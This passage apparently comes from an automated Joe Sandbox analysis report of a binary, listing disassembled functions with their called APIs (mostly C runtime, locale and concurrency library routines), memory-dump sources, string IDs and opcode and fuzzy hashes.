                                          • Instruction Fuzzy Hash: A2119E72914269DBCF01EBA8C815AAE77B5FF85320F240549F404E72A1CF749A019B92
                                          Function 008E900A Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E9011
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E901B
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • moneypunct.LIBCPMT ref: 008E9055
                                          • std::_Facet_Register.LIBCPMT ref: 008E906C
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E908C
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E90AA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
                                          • String ID:
                                          • API String ID: 113178234-0
                                          • Opcode ID: 9e1485dfbb8c0931c764e17b404f759c4efc1baeca20ba999dd510be3ec6fc61
                                          • Instruction ID: 1baffd0867aaf764e77aa6e258c806c1df709f20bfee1f9fce71262ff7d6cde1
                                          • Opcode Fuzzy Hash: 9e1485dfbb8c0931c764e17b404f759c4efc1baeca20ba999dd510be3ec6fc61
                                          • Instruction Fuzzy Hash: CA119171900629EBCF11EBA9C815ABE77B0FF84320F554509E411E7291CF749E019B92
                                          Function 00924AE9 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                          • _free.LIBCMT ref: 00924B20
                                          • _free.LIBCMT ref: 00924B48
                                          • SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B55
                                          • SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                          • _abort.LIBCMT ref: 00924B67
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$_free$_abort
                                          • String ID:
                                          • API String ID: 3160817290-0
                                          • Opcode ID: d3b1bf4c7fdf27b5cb3d0e7c730ed20f3a7318858fd41d6024a2b4285781e3c0
                                          • Instruction ID: b72613e358a4a02576872f901473e71f6c15c4504caf6d1240937dee80e0ce01
                                          • Opcode Fuzzy Hash: d3b1bf4c7fdf27b5cb3d0e7c730ed20f3a7318858fd41d6024a2b4285781e3c0
                                          • Instruction Fuzzy Hash: B1F0227A208A3027C616B3797C1AF6E236E9BC2B72B310124F518E61E9EF24CD459620
                                          Function 0092C04B Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 168COMMON
                                          Download Yara Rule
                                          APIs
                                          • _strpbrk.LIBCMT ref: 0092C09A
                                          • _free.LIBCMT ref: 0092C1B7
                                            • Part of subcall function 009158CF: IsProcessorFeaturePresent.KERNEL32(00000017,009158A1,?,?,00861F07,?,?,00000016,?,?,009158AE,00000000,00000000,00000000,00000000,00000000), ref: 009158D1
                                            • Part of subcall function 009158CF: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 009158F3
                                            • Part of subcall function 009158CF: TerminateProcess.KERNEL32(00000000), ref: 009158FA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                          • String ID: *?$.$mqzp
                                          • API String ID: 2812119850-2256822454
                                          • Opcode ID: f2df130ed16357207f7c97ee9f8fdf62b892ec6658758b5bbc8db2dc931dae17
                                          • Instruction ID: 5c023aeb70563baa3d86fa642a7e2dce976495c838e081d3aea00c3610644cbb
                                          • Opcode Fuzzy Hash: f2df130ed16357207f7c97ee9f8fdf62b892ec6658758b5bbc8db2dc931dae17
                                          • Instruction Fuzzy Hash: D451B3B1E04129EFDF14DFA8DC81AADB7B9EF88310F24816AE454E7306E6359E018B50
                                          Function 008A8070 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 160COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A81D4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: byte digest to $ bytes$HashTransformation: can't truncate a $mqzp
                                          • API String ID: 2005118841-2867106012
                                          • Opcode ID: 6fe46e7c9459edc0f7ae5708b4bb8b3e151b68b7b9629afebf6f24986236b885
                                          • Instruction ID: 6595670c028ca5c1216cd6f29981b5b97e111e37798d45b0c0f60ee95fc12f7f
                                          • Opcode Fuzzy Hash: 6fe46e7c9459edc0f7ae5708b4bb8b3e151b68b7b9629afebf6f24986236b885
                                          • Instruction Fuzzy Hash: F0518E72904218EFDB10DF98CC45F9EBBB8FB19710F1041AAF809E7281DB705A04CBA1
                                          Function 008C3190 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 110COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008C1460: ___std_type_info_name.LIBVCRUNTIME ref: 008C151E
                                            • Part of subcall function 008C1460: ___std_type_info_name.LIBVCRUNTIME ref: 008C1589
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C31E1
                                            • Part of subcall function 00908346: ___unDName.LIBVCRUNTIME ref: 00908372
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C3247
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_type_info_name$Name___un
                                          • String ID: Modulus$PublicExponent$ThisObject:
                                          • API String ID: 3683324773-1616987064
                                          • Opcode ID: 5a036535bc7d6190164e66b573c08652bb2f07056e02d3878352159c332395fc
                                          • Instruction ID: 5014a6239254320c5217b1fa709149aec6378a3f7f4c7848fdc526c955fd36c4
                                          • Opcode Fuzzy Hash: 5a036535bc7d6190164e66b573c08652bb2f07056e02d3878352159c332395fc
                                          • Instruction Fuzzy Hash: 9E41DB306083416ACB11AB74C852F5BBBB5FFD5709F048A5CF48497292EB72E609C753
                                          Function 008F07D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008F0430: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008F0475
                                          • ReleaseSemaphore.KERNEL32(?,?,00000000,707A716D,?,707A716D,707A716D,?,0093C930,000000FF,?,008F0509), ref: 008F0820
                                          • ReleaseSemaphore.KERNEL32(?,?,00000000,?,008F0509), ref: 008F0841
                                          • CloseHandle.KERNEL32(?,?,707A716D,707A716D), ref: 008F0872
                                          • SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00940B70,000000FF), ref: 008F08AC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ReleaseSemaphore$CloseEventHandleObjectSingleWait
                                          • String ID: mqzp
                                          • API String ID: 568734227-955126501
                                          • Opcode ID: 73125573e98a8ded366d60e12c79e05b090315b491b46ac54788cf7b72dd9859
                                          • Instruction ID: 89dcd069f3ac28ed7b4915cdecce8380ae8b8738e7b3f12073c84ecd8d65fff5
                                          • Opcode Fuzzy Hash: 73125573e98a8ded366d60e12c79e05b090315b491b46ac54788cf7b72dd9859
                                          • Instruction Fuzzy Hash: 15318C71A142089FEB24CF68CC84B66B7A8FB05354F1486A9ED18DB297D735D850CF91
                                          Function 008EA41D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Mpunct$GetcvtH_prolog3
                                          • String ID: $+xv
                                          • API String ID: 279835032-1686923651
                                          • Opcode ID: bc6d7ca43afd0b624eebe0638010f17c1ce5fc23ef0f1f44856f2ead362c2407
                                          • Instruction ID: aa5ecbbb4abec5ad7eea213e5f2086141fbc79b9ac94a7e122a56099a605f932
                                          • Opcode Fuzzy Hash: bc6d7ca43afd0b624eebe0638010f17c1ce5fc23ef0f1f44856f2ead362c2407
                                          • Instruction Fuzzy Hash: 3421E0B1800B926EC726DF7A848477BBFF8FB09700F040A5AE499C7A41D730EA01CB91
                                          Function 00896930 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0089698A
                                          • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 008969D2
                                          • __Getcvt.LIBCPMT ref: 008969DB
                                            • Part of subcall function 00862A30: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00862A56
                                            • Part of subcall function 00862A30: std::_Lockit::~_Lockit.LIBCPMT ref: 00862AEA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Locinfo::_Lockit$GetcvtLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
                                          • String ID: mqzp$mqzp
                                          • API String ID: 1677860746-1158555082
                                          • Opcode ID: 72fa05af6ab3cedc5b041301511fb1d7554aad0d329978e380d4fdf25ea7503e
                                          • Instruction ID: d75769154b4f80843508af9502ccf129dfa3c9203f1a01d95a7fdc95753c9f21
                                          • Opcode Fuzzy Hash: 72fa05af6ab3cedc5b041301511fb1d7554aad0d329978e380d4fdf25ea7503e
                                          • Instruction Fuzzy Hash: 5E3169B1C08748DEDB10DFA8C941B9EBBF4FF18700F10466EE455A7282EBB46644CB91
                                          Function 008F0ED0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON
                                          Download Yara Rule
                                          APIs
                                          • EnterCriticalSection.KERNEL32(009887E8,?,?,008C506F,00987168,00942A20,00000001), ref: 008F0EDA
                                          • LeaveCriticalSection.KERNEL32(009887E8,?,008C506F,00987168,00942A20,00000001), ref: 008F0F0D
                                          • SetEvent.KERNEL32(00000000,00987168,00942A20,00000001), ref: 008F0F9B
                                          • ResetEvent.KERNEL32 ref: 008F0FA7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CriticalEventSection$EnterLeaveReset
                                          • String ID: mqzp
                                          • API String ID: 3553466030-955126501
                                          • Opcode ID: b6f99ee07dcecc4eef4fab660e5f33cdd25051073b0db188377142a58c7f2cec
                                          • Instruction ID: 2096c839c04286005744b9d1b67395389c0f64fbe6d84a7580909beb67a8d507
                                          • Opcode Fuzzy Hash: b6f99ee07dcecc4eef4fab660e5f33cdd25051073b0db188377142a58c7f2cec
                                          • Instruction Fuzzy Hash: 5C018B36A6C220DFCB049F68FC68D6677E8FB0A701BC04029E806D7320CF306940EBA0
                                          Function 008FE992 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 008FE9A6
                                          • Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 008FE9CA
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 008FE9DD
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008FE9EB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
                                          • String ID: pScheduler
                                          • API String ID: 3657713681-923244539
                                          • Opcode ID: 508d358330aa913172815faa48f8cfb61c7bc2a877fa97f8f0010b479888c1cc
                                          • Instruction ID: b2c664d67391f8d351febe33e7d9f6d86f036927e9e28a24f9be562335e4cf04
                                          • Opcode Fuzzy Hash: 508d358330aa913172815faa48f8cfb61c7bc2a877fa97f8f0010b479888c1cc
                                          • Instruction Fuzzy Hash: 51F0963260050CA78724FA64D852C69B779FEC0724714452AA746921919BB09906C662
                                          Function 009023D4 Relevance: 7.6, APIs: 5, Instructions: 123COMMON
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00902408
                                            • Part of subcall function 008FD288: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 008FD2A9
                                          • Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00902467
                                          • Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0090248D
                                          • Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 009024AD
                                          • Concurrency::location::_Assign.LIBCMT ref: 009024FA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerThrowTraceWork
                                          • String ID:
                                          • API String ID: 1794448563-0
                                          • Opcode ID: 83cd25b016f553fdf9c3504c52a4079bc1045a7dbf70b330245bffb17caf2f07
                                          • Instruction ID: 556ee79abeb2ab863e94edf07634a6ee56aafdb21c9a969dc0978b04eb865012
                                          • Opcode Fuzzy Hash: 83cd25b016f553fdf9c3504c52a4079bc1045a7dbf70b330245bffb17caf2f07
                                          • Instruction Fuzzy Hash: 0C41E374604214AFCF199B28CCAABBDBB69EF45720F144099E8069B3C2DF34AE45C7D1
                                          Function 008FCA22 Relevance: 7.6, APIs: 5, Instructions: 88COMMON
                                          Download Yara Rule
                                          APIs
                                          • _SpinWait.LIBCONCRT ref: 008FCA47
                                            • Part of subcall function 008F2A82: _SpinWait.LIBCONCRT ref: 008F2A9A
                                          • Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 008FCA5B
                                          • Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 008FCA8D
                                          • List.LIBCMT ref: 008FCB10
                                          • List.LIBCMT ref: 008FCB1F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
                                          • String ID:
                                          • API String ID: 3281396844-0
                                          • Opcode ID: 9b2bc403f46c6c4f2754ebbd804eed809c0f23ed3b42aa189ff14691ab8a6736
                                          • Instruction ID: 4b2990c073d977c00beca7a107da26b38cd2357f1e9982cba584b852f402e64c
                                          • Opcode Fuzzy Hash: 9b2bc403f46c6c4f2754ebbd804eed809c0f23ed3b42aa189ff14691ab8a6736
                                          • Instruction Fuzzy Hash: A43132B290166DDBCB14EFB8C6816FDBBB0FF04718F14406ADA11A7642DB716E14CB92
                                          Function 008FE539 Relevance: 7.6, APIs: 5, Instructions: 79COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3_catch.LIBCMT ref: 008FE540
                                          • Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 008FE58C
                                          • std::bad_exception::bad_exception.LIBCMT ref: 008FE5A2
                                          • std::bad_exception::bad_exception.LIBCMT ref: 008FE60E
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008FE61C
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::bad_exception::bad_exception$Concurrency::Exception@8H_prolog3_catchPolicyPolicy::_SchedulerThrowValidValue
                                          • String ID:
                                          • API String ID: 3702943636-0
                                          • Opcode ID: 26085c8996126ba1e0285710ada31cf785775b21fc5912e4f6c29f707739a7e4
                                          • Instruction ID: b07db3dc06b5dcb4e82421b831fbc7cdaf57b755fbe2046e9e41169ebc64c18e
                                          • Opcode Fuzzy Hash: 26085c8996126ba1e0285710ada31cf785775b21fc5912e4f6c29f707739a7e4
                                          • Instruction Fuzzy Hash: C3217F7290060CDFDB05EFB8D8869BDB7A0FF19718B104069F605EB261EB35AE42CB55
                                          Function 0092CD14 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetEnvironmentStringsW.KERNEL32(00000000,?,00000002,?,?,00932952,00000000,?,00000000,00000000), ref: 0092CD1D
                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00932952,00000000,?,00000000,00000000), ref: 0092CD40
                                            • Part of subcall function 00926303: RtlAllocateHeap.NTDLL(00000000,?,?,?,009082A9,?,?,?,?,?,00861F07,?,?,?), ref: 00926335
                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00932952,00000000,?,00000000,00000000), ref: 0092CD66
                                          • _free.LIBCMT ref: 0092CD79
                                          • FreeEnvironmentStringsW.KERNEL32(00000000,?,?,00932952,00000000,?,00000000,00000000), ref: 0092CD88
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                          • String ID:
                                          • API String ID: 336800556-0
                                          • Opcode ID: 3824e6f0562bb089872631458585a5e3de38dfc038e3bd1a6de42b49a2721449
                                          • Instruction ID: 417556b7ddd9c845e993530c41ffed7e247ba17bf1559b418f7627f25fa901de
                                          • Opcode Fuzzy Hash: 3824e6f0562bb089872631458585a5e3de38dfc038e3bd1a6de42b49a2721449
                                          • Instruction Fuzzy Hash: 7601D8B6A056757B272156B67C8CD7F6E6DCEC7B603144239B908D3144EA708D0391F0
